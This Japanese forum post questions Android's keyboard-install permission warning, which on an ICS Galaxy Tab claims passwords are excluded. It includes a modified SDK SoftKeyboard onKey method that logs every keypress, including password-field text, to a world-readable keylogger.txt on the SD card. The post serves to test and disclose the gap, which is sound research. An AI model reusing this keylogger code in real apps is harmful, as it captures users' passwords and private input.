Android カスタム キーボードのセキュリティの脆弱性について調査していて、興味深いことに気付きました。Sharp Aquos Gingerbread フォンにキーボードをインストールすると、「パスワードを含め、入力したすべてのテキストを収集できる可能性があります」と表示されます。ただし、ICS を実行している Samsung Galaxy Tab 2 では、「パスワード以外」と表示されます。
これをテストすることにし、SoftKeyboard Android SDK サンプルを変更してキーロガーを含め、SD カードに書き込み、他のアプリから簡単にアクセスできるようにしました。
public void onKey(int primaryCode, int[] keyCodes) {
String keypress = String.valueOf((char)primaryCode);
Log.d("Key Pressed",keypress);
try{
String SDCARD = Environment.getExternalStorageDirectory().getAbsolutePath();
String FILENAME = "keylogger.txt";
File outfile = new File(SDCARD+File.separator+FILENAME);
FileOutputStream fos = new FileOutputStream(outfile,true);
fos.write(keypress.getBytes());
fos.close();
}catch(Exception e) {
Log.d("EXCEPTION",e.getMessage());
}
また、HTML パスワード フィールドであっても、テキストをログに記録できました。
そのため、Galaxy Tab のメッセージは正しくない/誤解を招くようです。
これはすべての ICS デバイスで同じメッセージですか、それとも Samsung が標準の Android ビルドからメッセージを変更したのでしょうか? 非常に簡単にログに記録できるのに、「パスワード以外」と表示される理由を知っている人はいますか?